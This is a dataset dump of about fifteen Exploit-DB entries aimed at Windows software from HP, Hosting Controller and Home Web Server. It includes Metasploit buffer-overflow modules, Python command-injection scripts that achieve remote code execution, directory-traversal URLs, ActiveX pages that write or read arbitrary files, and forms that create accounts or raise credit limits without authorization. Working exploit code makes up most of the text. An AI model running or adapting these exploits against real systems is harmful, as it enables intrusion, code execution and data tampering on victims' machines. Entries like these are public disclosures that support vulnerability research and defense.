deardaniel/secdata-raw huggingface dataset:
Exploit-DB #42128
Description: Home Web Server 1.9.1 (build 164) - Remote Code Execution
Type: remote
Platform: windows
Date: 2017-05-26
Author: Guillaume Kaddouch

Exploit:
# Exploit Title: Home Web Server 1.9.1 build 164 - CGI Remote Code Execution
# Date: 26/05/2017
# Exploit Author: Guillaume Kaddouch
#   Twitter: @gkweb76
#   Blog: https://networkfilter.blogspot.com
#   GitHub: https://github.com/gkweb76/exploits
# Vendor Homepage: http://downstairs.dnsalias.net/ (does not exist anymore)
# Software Link: http://download.cnet.com/Home-Web-Server/3000-2648_4-10652679.html
# Version: 1.9.1 (build 164)
# Tested on: Windows 7 SP1 Family x64 (FR)
# Category: Webapps

"""
Disclosure Timeline:
--------------------
2017-05-26: Vulnerability discovered
2017-05-26: Vendor website is down, no way to contact him

 
Description :
-------------
Home Web Server allows to call cgi programs via POST which are located into /cgi-bin folder. However by using a directory traversal,
it is possible to run any executable being on the remote host.
 

Instructions:
-------------
- Starts Home Web Server.
- Run this exploit from a remote Kali machine with netcat as below.
"""

# Connect with netcat, then drop a single POST to call the executable you want
guillaume@kali:~/kiwi_syslog$ nc 10.0.0.100 80
POST /cgi-bin/../../../../../../../../Windows/system32/calc.exe HTTP/1.1

# Returned response
HTTP/1.1 400 Bad Request
Connection: close
Content-Length: 0
Server: My Web Server (HWS164)

"""
[CTRL+C] : this is important to launch the executable we requested

Calc.exe has been launched on the remote host.
"""
Exploit-DB #979
Description: Hosting Controller 0.6.1 - User Registration (1)
Type: remote
Platform: windows
Date: 2005-05-04
Author: Mouse

Exploit:
<!--
Tested 

google = intext:"powered by Hosting Controller" intitle:"Hosting Controller"

/str0ke

Advisory Information
-------------------------
Software Package   : Hosting Controller
Vendor Homepage  : http://www.hostingcontroller.com
Platforms               : Windows based servers
Vulnerability           : unauthenticated user registeration
Risk                       : High!
Vulnerable Versions: All version ( Tested on: v.6.1 Hotfix 1.9 )
Vendor Contacted   : 5/3/2005
Release Date          : 5/5/2005

Summary
------------
Hosting Controller is a complete array of Web hosting automation tools for
the Windows Server family platform.
This vulnerability is on the admin/hosting/addsubsite.asp
Attacker can create user and host on the target system.

Exploit
---------
A demonstration exploit URL is provided:

http://[target]/admin/hosting/addsubsite.asp?loginname=Mouse&[CREDENTIAL_REDACTED]
http://[target]:8077/hosting/addsubsite.asp?loginname=Mouse&[CREDENTIAL_REDACTED]
-->

<FORM action="http://[target]/admin/hosting/addsubsite.asp" method="post">
<INPUT type="hidden" name="reseller" value="resadmin" id="reseller" >
<INPUT type="hidden" name="domaintypecheck" value="SECOND" id="Hidden1">
Domain:     <INPUT name="DomainName" value="shabgard.org" id="Hidden2"><BR>
Username: <INPUT name="loginname" value="Mouse" id="Hidden3"><BR>
<INPUT type="hidden" name="Quota" value="-1" id="Hidden4">
<INPUT type="hidden" name="htype" value="27" id="htype" >
<INPUT type="hidden" name="choice" value="1" id="Hidden7" >
<INPUT type="hidden" name="mailaccess" value="TRUE" id="Hidden5">
Mailserver: <INPUT name="MailServerType" value="IMail" id="Hidden6"><BR>
Password:  <INPUT name="password" value="123456" id="Hidden8"><BR><BR>
<input type="submit" value="Make"><BR>

# milw0rm.com [2005-05-04]
Exploit-DB #675
Description: Hosting Controller 0.6.1 Hotfix 1.4 - Directory Browsing
Type: remote
Platform: windows
Date: 2004-12-05
Author: Mouse

Exploit:
Advisory Information
-------------------------

Software Package   	: Hosting Controller
Vendor Homepage    	: http://www.hostingcontroller.com
Platforms          		: Windows based servers
Vulnerable Versions	: All version ( Tested on: v.6.1 Hotfix 1.4 )
Vendor Contacted  	: 12/5/2004
Release Date:      	: 12/7/2004

Summary
------------

Hosting Controller is a complete array of Web hosting automation tools
for the Windows Server family platform.
Hosting Controller has a security flaw which allows attackers to browse
any file and any directory on that server.

Details
---------

Vulnerability - Directories Browsing files on the system.
Foolish vulnerability:

1)This vulnerability is on the admin/mail/Statsbrowse.asp and attackers
can view the Harddisk by using this file.
Login with your account
http://www.yoursite.com/admin
Now you see
http://www.yoursite.com/admin/main.asp
Change this url to
http://www.yoursite.com/admin/mail/Statsbrowse.asp?FilePath=c:\&Opt=3&level=1&upflag=0

2)This vulnerability is on the admin/iis/Generalbrowse.asp and attackers
can view the Harddisk by using this file.
Login with your account
http://www.yoursite.com/admin
Now you see
http://www.yoursite.com/admin/main.asp
Change this url to <br/>
http://www.yoursite.com/admin/iis/Generalbrowse.asp?FilePath=C:\

Solution
----------

The vender was notified, they have released a patch.
Update Your software

Credits
---------

Discovered on May 6, 2004 by (\/) Mouse
Mouse@Shabgard.org
Additional Research: s7az2mm and bl2k
http://Shabgard.org

References
-------------

http://isun.Shabgard.org/hc.html
http://isun.Shabgard.org/hc.txt

# milw0rm.com [2004-12-05]
Exploit-DB #1096
Description: Hosting Controller 0.6.1 HotFix 2.1 - Change Credit Limit
Type: remote
Platform: windows
Date: 2005-07-10
Author: Soroush Dalili

Exploit:
Hi, I'm Soroush Dalili from GSG (GrayHatz Security Group).
Title: Hosting controller program have a security bug in "AccountActions.asp" that an authenticated 
user can change his/her credit and buy some services!

Version: 6.1 HotFix 2.1 and older
Developer url: hostingcontroller.com
Comment: Hosting Controller is an application to manage a host.
Exploit code to proof:
--------------------------------
GET CREDIT<br>Soroush Dalili from GSG<br>
<form action="http://[URL]/Admin/Accounts/AccountActions.asp?ActionType=UpdateCreditLimit" method="post">
<table>
<tr>
<td>Username:</td>
<td><input type="text" name="UserName" value=""></td>
</tr>
<tr>
<td>Description:</td>
<td><input type="text" name="Description" value=""></td>
</tr>
<tr>
<td>FullName:</td>
<td><input type="text" name="FullName" value=""></td>
</tr>
<tr>
<td>AccountDisabled 1,[blank]:</td>
<td><input type="text" name="AccountDisabled" value=""></td>
</tr>
<tr>
<td>UserChangePassword:</td>
<td><input type="text" name="UserChangePassword" value=""></td>
</tr>
<tr>
<td>PassCheck=TRUE,0:</td>
<td><input type="text" name="PassCheck" value="0"></td>
</tr>
<tr>
<td>New Password:</td>
<td><input type="text" name="Pass1" value=""></td>
</tr>
<tr>
<td>DefaultDiscount%:</td>
<td><input type="text" name="DefaultDiscount" value="100"></td>
</tr>
<tr>
<td>CreditLimit:</td>
<td><input type="text" name="CreditLimit" value="99999"></td>
</tr>
</table>
<br><input type="submit">
</form>
<hr><br>

# milw0rm.com [2005-07-10]
Exploit-DB #25194
Description: Hosting Controller 1.x/6.1 - Multiple Information Disclosure Vulnerabilities
Type: remote
Platform: windows
Date: 2005-03-07
Author: small mouse

Exploit:
source: https://www.securityfocus.com/bid/12748/info

Hosting Controller is reported prone to multiple information disclosure vulnerabilities. These issues can allow an attacker to disclose sensitive information, which may be used to carry out further attacks against a computer.

An attacker can access a sensitive file to enumerate domain names of all hosted domains.

Another issue affecting the application may allow remote users to disclose an administrator's email address.

These issues are reported to affect Hosting Controller 6.1 Hotfix 1.7. Other versions are likely to be affected as well.

http://www.example.com/admin/logs/HCDiskQuotaService.csv
Exploit-DB #10715
Description: HP Application Recovery Manager - 'OmniInet.exe' Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2009-12-26
Author: EgiX

Exploit:
class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'HP Application Recovery Manager (OmniInet.exe) Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack-based buffer overflow in HP Application Recovery Manager OmniInet daemon.
					By sending a specially crafted MSG_PROTOCOL packet, a remote attacker may be able to execute arbitrary code.
			},
			'Author'         => 'EgiX <n0b0d13s[at]gmail.com>',
			'References'     => 
				[ 
					[ 'CVE', '2009-3884' ],
					[ 'BID', '37250' ],
					[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-09-091' ]
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'seh',
				},
			'Payload' =>
				{
					'Space'    => 4658,
					'BadChars' => '\x00',
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows Universal', { 'Ret' => 0x004412ed } ], # OmniInet.exe pop ecx; pop ecx; ret
				],
			'DefaultTarget'  => 0))

			register_options([Opt::RPORT(5555)], self.class)

	end

	def exploit
		connect

		off	= payload_space + 8
		sep	= "\x00\x00\x20\x00"

		buff =  "\x00\x00\x12\x67"					# packet length 
		buff << "\xff\xfe\x32\x00\x36\x00\x37\x00"	# MSG_PROTOCOL command
		buff << sep + rand_text_alpha_upper(2)
		buff << sep + rand_text_alpha_upper(2)
		buff << sep + rand_text_alpha_upper(2)
		buff << sep + rand_text_alpha_upper(2)
		buff << sep + payload.encoded + generate_seh_record(target.ret)
		# jump back to shellcode
		buff << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + off.to_s).encode_string
		buff << sep

		print_status("Sending MSG_PROTOCOL packet")
		sock.put(buff)

		sleep(5)
		handler
		disconnect
	end

end
Exploit-DB #27565
Description: HP Color LaserJet 2500/4600 Toolbox - Directory Traversal
Type: remote
Platform: windows
Date: 2006-04-03
Author: Richard Horsman

Exploit:
source: https://www.securityfocus.com/bid/17367/info

The HP Color LaserJet 2500/4600 Toolbox is prone to a directory-traversal vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker can exploit this vulnerability to retrieve arbitrary files from the vulnerable system in the context of the affected application. Information obtained may aid attackers in further attacks.

http://www.example.com:5225/../../../boot.ini
Exploit-DB #17339
Description: HP Data Protector Client 6.11 - 'EXEC_CMD' Remote Code Execution
Type: remote
Platform: windows
Date: 2011-05-28
Author: fdiskyou

Exploit:
# Exploit Title: HP Data Protector Client EXEC_CMD Remote Code Execution Vulnerability PoC (ZDI-11-055)
# Date: 2011-05-28
# Author: @fdiskyou
# e-mail: rui at deniable.org
# Version: 6.11
# Tested on: Windows 2003 Server SP2 en
# CVE: CVE-2011-0923
# Notes: ZDI-11-055
# Reference: http://www.zerodayinitiative.com/advisories/ZDI-11-055/
# Reference: http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c02781143
#
# Greetz to all the Exploit-DB Dev Team.

import socket
import sys

if len(sys.argv) != 3:
    print "Usage: ./ZDI-11-055.py <Target IP> <Port>"
    sys.exit(1)

host = sys.argv[1]
port = int(sys.argv[2])

# The following PoC takes advantage of a Directory Path Traversal to execute ipconfig.exe on the remote host. 
# Tweak payload to better suit your needs.
payload = (
"\x00\x00\x00\xa4\x20\x32\x00\x20\x66\x64\x69\x73\x6b\x79\x6f\x75"
"\x00\x20\x30\x00\x20\x53\x59\x53\x54\x45\x4d\x00\x20\x66\x64\x69"
"\x73\x6b\x79\x6f\x75\x00\x20\x43\x00\x20\x32\x30\x00\x20\x66\x64"
"\x69\x73\x6b\x79\x6f\x75\x00\x20\x50\x6f\x63\x00\x20\x4e\x54\x41"
"\x55\x54\x48\x4f\x52\x49\x54\x59\x00\x20\x4e\x54\x41\x55\x54\x48"
"\x4f\x52\x49\x54\x59\x00\x20\x4e\x54\x41\x55\x54\x48\x4f\x52\x49"
"\x54\x59\x00\x20\x30\x00\x20\x30\x00\x20\x2e\x2e\x2f\x2e\x2e\x2f"
"\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x2e\x2f\x2e"
"\x2e\x2f\x2e\x2e\x2f\x2e\x2e\x2f\x5c\x77\x69\x6e\x64\x6f\x77\x73"
"\x5c\x73\x79\x73\x74\x65\x6d\x33\x32\x5c\x69\x70\x63\x6f\x6e\x66"
"\x69\x67\x2e\x65\x78\x65\x00\x00")

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
print "Sending payload"
s.send(payload)

while 1:
        data = s.recv(4096)
        if data:
                print data
        else:
                break

s.close()
Exploit-DB #18423
Description: HP Diagnostics Server - 'magentservice.exe' Remote Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2012-01-27
Author: Metasploit

Exploit:
require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'HP Diagnostics Server magentservice.exe overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in HP Diagnostics Server
				magentservice.exe service. By sending a specially crafted packet, an attacker
				may be able to execute arbitrary code. Originally found and posted by
				AbdulAziz Harir via ZDI.
			},
			'Author'         =>
				[
					'AbdulAziz Hariri', # Original discovery
					'hal',              # Metasploit module
				],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					['OSVDB', '72815'],
					['CVE', '2011-4789'],
					['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-016/']
				],
			'Privileged'     => true,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'seh',
					'SSL' => true,
					'SSLVersion' => 'SSL3'
				},
			'Payload'        =>
				{
					'Space'    => 1000,
					'BadChars' => "\x00",
					'StackAdjustment' => -3500
				},
			'Platform'       => 'win',
			'DefaultTarget'  => 0,
			'Targets'        =>
				[
					[
						'Diagnostics Server 9.10',
						{
							# pop esi # pop ebx # ret 10
							# magentservice.exe
							'Ret' => 0x780c8f1f
						}
					]
				],
			'DisclosureDate' => 'Jan 12 2012'))

			register_options([Opt::RPORT(23472)], self.class)
	end

	def exploit

		req =  "\x00\x00\x00\x00"
		req << rand_text_alpha_upper(1092)
		req << generate_seh_payload(target.ret)

		connect
		sock.put(req)

		handler
		disconnect

	end
end
Exploit-DB #4155
Description: HP Digital Imaging 'hpqvwocx.dll 2.1.0.556' - 'SaveToFile()' File Write
Type: remote
Platform: windows
Date: 2007-07-06
Author: shinnai

Exploit:
<pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">-------------------------------------------------------------------------------
 <b>HP Digital Imaging (hpqvwocx.dll v. 2.1.0.556) "SaveToFile()" Insecure Method</b>
 url: http://www.hp.com/

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org
 
 This was written for educational purpose. Use it at your own risk.
 Author will be not be responsible for any damage.
 
 <b><font color="#FF0000">THE EXPLOIT WILL OWERWRITE THE system.ini FILE SO BE SURE TO MAKE A COPY OF
 IT BEFORE RUN THIS EXPLOIT OR YOUR PC WILL NOT RESTART!</font></b>

 This control is marked as:
 <b>RegKey Safe for Script: False
 RegKey Safe for Init: False
 Implements IObjectSafety: True
 IDisp Safe: Safe for untrusted: caller, data  
 IPersist Safe: Safe for untrusted: caller, data</b>

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
 The browser seems to freeze for a few seconds, anyway if you try to close it
 before the exploit is ended, it will resutl in a DoS and the file will be
 overwritten though.
-------------------------------------------------------------------------------
<object classid='clsid:BA726BF9-ED2F-461B-9447-CD5C7D66CE8D' id='test'></object>

<script language='vbscript'>
    test.SaveToFile 1, "c:\windows\system_.ini"
    MyMsg = MsgBox ("Check now the file system.ini" & vbCrLf & "It's overwritten.", 64,"HP Digital Imaging")
</script>
</span>
</code></pre>

# milw0rm.com [2007-07-06]
Exploit-DB #4119
Description: HP Digital Imaging 'hpqxml.dll 2.0.0.133' - Arbitrary Data Write
Type: remote
Platform: windows
Date: 2007-06-27
Author: callAX

Exploit:
:. GOODFELLAS Security Research TEAM  .:
:. http://goodfellas.shellcode.com.ar .:
<!--
hpqxml.dll 2.0.0.133 from HP Digital Imaging Arbitary Data Write
===============================================

Internal ID: VULWAR200706275.

Introduction

hpqxml.dll is a library included in the HP Photo Digital Imaging
software package from the HP Company. http://www.hp.com.
Link: http://www.hp.com/united-states/consumer/digital_photography/home_f.html

Tested In

- Windows XP SP2 english/french with IE 6.0 / 7.0.
- Windows vista Professional English/French SP1 with IE 7.0

Summary

The saveXMLAsFile method doesn't check if it is being called from the application
or from a malicious user.

Impact

The vulnerability is due to an error in the saveXMLAsFile method that manipulate
local files insecurely, which could allow malicious users to write arbitrary
data to any file on a vulnerable system. Besides, the method does not check the
file headers before writing.

Workaround

- Activate the Kill bit zero in clsid:9C0A0321-B328-466C-8ECA-B9A5522466D3.
- Unregister hpqxml.dll using regsvr32.

Timeline

June 27, 2007 -- Bug discovery.
June 27, 2007 -- Bug published.

Credits

 * callAX <callax@shellcode.com.ar>
 * GoodFellas Security Research Team <goodfellas.shellcode.com.ar>

Technical Detail

saveXMLAsFile method receives a filename as an argument, with this format "c:\path\file".

Proof of Concept
-->

<html>
<head>
<title>Hpqxml.dll 2.0.0.133 HP Digital Imaging Arbitary Data Write</title>
</head>
<body>
<h3>Hpqxml.dll 2.0.0.133 HP Digital Imaging Arbitary Data Write</h3><br>

<object classid='clsid:9C0A0321-B328-466C-8ECA-B9A5522466D3' id='target' /></object>

<input language=VBScript onclick=HP() type=button value="Proof of Concept">

<script language = 'vbscript'>

Sub HP()

 filename = "C:\NTDETECT_.COM"

 target.saveXMLAsFile filename

End Sub

</script>
</body>
</html>

# milw0rm.com [2007-06-27]
Exploit-DB #12367
Description: HP Digital Imaging - 'hpodio08.dll' Insecure Method
Type: remote
Platform: windows
Date: 2010-04-24
Author: ThE g0bL!N

Exploit:
# Exploit Title: HP Digital Imaging (hpodio08.dll) Insecure Method Exploit 
# Author: ThE g0bL!N
# Version: All vesion 
# Tested on: Windows xp pack 2
# Code : <title>Exploited By : ThE g0bL!N </title> 
<BODY> 
<object id=dz classid="clsid:{697F5209-0494-11D6-A2B0-0060B0FBD872}"></object> 

<SCRIPT> 

function Do_it() 
{ 
File = "dz.exe" 
dz.Save(File) 
} 

</SCRIPT> 
<h3>HP Digital Imaging (hpodio08.dll) Insecure Method Exploit </h3> 
<input language=JavaScript onclick=Do_it() type=button value="Click here To Test"><br> 
</body> 
</HTML>
## Note: Dz.exe Will be created In C:\WINDOWS\ :) 
## [PII_REDACTED] [PII_REDACTED] [PII_REDACTED] 00100000 I try To hate You but i can't
Exploit-DB #30920
Description: HP eSupportDiagnostics 1.0.11 - 'hpediag.dll' ActiveX Control Multiple Information Disclosure Vulnerabilities
Type: remote
Platform: windows
Date: 2007-12-20
Author: Elazar Broad

Exploit:
source: https://www.securityfocus.com/bid/26967/info

The HP eSupportDiagnostics ActiveX control is prone to multiple information-disclosure vulnerabilities.

An attacker can exploit these issues by enticing an unsuspecting victim to visit a malicious HTML page.

Successfully exploiting these issues allows remote attackers to obtain the contents of arbitrary files and registry values. Information harvested may aid in further attacks.

These issues affect 'hpediag.dll' 1.0.11.0; other versions may also be affected. 

<html>
<head>
 <script language="JavaScript" DEFER>
  function Check() {
   var out = fileUtil.ReadTextFile(somePath);
   var out = regUtil.ReadValue(somePath);

  }
 </script>

</head>
<body onload="JavaScript: return Check();">
 <object id="fileUtil" classid="clsid:CDAF9CEC-F3EC-4B22-ABA3[PII_REDACTED]F8" />
 <object id="regUtil"  classid="clsid:0C378864-D5C4-4D9C-854C-432E3BEC9CCB" />
</body>
</html>
Exploit-DB #43195
Description: HP iMC Plat 7.2 - Remote Code Execution
Type: remote
Platform: windows
Date: 2017-11-28
Author: Chris Lyne

Exploit:
#!/opt/local/bin/python2.7

# Exploit Title: HP iMC Plat 7.2 dbman Opcode 10007 Command Injection RCE
# Date: 11-28-2017
# Exploit Author: Chris Lyne (@lynerc)
# Vendor Homepage: www.hpe.com
# Software Link: https://h10145.www1.hpe.com/Downloads/DownloadSoftware.aspx?SoftwareReleaseUId=16759&ProductNumber=JG747AAE&lang=en&cc=us&prodSeriesId=4176535&SaidNumber=
# Version: iMC PLAT v7.2 (E0403) Standard
# Tested on: Windows Server 2008 R2 Enterprise 64-bit
# CVE : CVE-2017-5817
# See Also: http://www.zerodayinitiative.com/advisories/ZDI-17-341/

# note that this PoC will create a file 'C:\poc.txt'

import socket, sys

ip = '192.168.1.74'
port = 2810

command = "echo PoC 12345 > C:\\poc.txt" # command to run

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip, port))

buf = "\x00\x00\x27\x17\x00\x00\x00"
buf += chr(109 + 10 + len(command))
buf += "\x30\x81"
buf += chr(109 + 7 + len(command))
buf += "\x04\x0c"
buf += ip
buf += ("\x04\x04\x41\x41\x41\x41\x04"
"\x04\x42\x42\x42\x42\x04\x04\x43\x43\x43\x43\x02\x01\x01\x02\x01"
"\x03\x04\x06\x4d\x41\x4e\x55\x41\x4c\x04\x04\x44\x44\x44\x44\x04")
buf += chr(len(command) + 7)
buf += "\x73\x61\x22\x26\x20"
buf += command
buf += ("\x20\x26\x04\x08\x70\x61\x73\x73\x77\x6f\x72\x64\x04"
"\x04\x00\x00\x04\x57\x04\x08\x69\x6e\x73\x74\x61\x6e\x63\x65\x04"
"\x04\x45\x45\x45\x45\x04\x04\x46\x46\x46\x46\x04\x04\x47\x47\x47"
"\x47\x04\x04\x48\x48\x48\x48\x30\x00\x02\x01\x01")
sock.send(buf)

sock.close()
Exploit-DB #43198
Description: HP iMC Plat 7.2 - Remote Code Execution (2)
Type: remote
Platform: windows
Date: 2017-11-29
Author: Chris Lyne

Exploit:
#!/opt/local/bin/python2.7

# Exploit Title: HP iMC Plat 7.2 dbman Opcode 10008 Command Injection RCE
# Date: 11-29-2017
# Exploit Author: Chris Lyne (@lynerc)
# Vendor Homepage: www.hpe.com
# Software Link: https://h10145.www1.hpe.com/Downloads/DownloadSoftware.aspx?SoftwareReleaseUId=16759&ProductNumber=JG747AAE&lang=en&cc=us&prodSeriesId=4176535&SaidNumber=
# Version: iMC PLAT v7.2 (E0403) Standard
# Tested on: Windows Server 2008 R2 Enterprise 64-bit
# CVE : CVE-2017-5816
# See Also: http://www.zerodayinitiative.com/advisories/ZDI-17-340/

# note that this PoC will create a file 'C:\10008.txt'

from pyasn1.type.univ import *
from pyasn1.type.namedtype import *
from pyasn1.codec.ber import encoder
import struct
import binascii
import socket, sys

ip = '192.168.1.74'
port = 2810
payload = "whoami > C:\\10008.txt"
opcode = 10008

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip, port))

class DbmanMsg(Sequence):
    componentType = NamedTypes(
        NamedType('dbIp', OctetString()),
        NamedType('iDBType', Integer()),
        NamedType('dbInstance', OctetString()),
        NamedType('dbSaUserName', OctetString()),
        NamedType('dbSaPassword', OctetString()),
        NamedType('strOraDbIns', OctetString())
    )

msg = DbmanMsg()

msg['dbIp'] = ip
msg['iDBType'] = 4
msg['dbInstance'] = "a\"& " + payload + " &"
msg['dbSaUserName'] = "b"
msg['dbSaPassword'] = "c"
msg['strOraDbIns'] = "d"

encodedMsg = encoder.encode(msg, defMode=True)
msgLen = len(encodedMsg)
values = (opcode, msgLen, encodedMsg)
s = struct.Struct(">ii%ds" % msgLen)
packed_data = s.pack(*values)

sock.send(packed_data)
sock.close()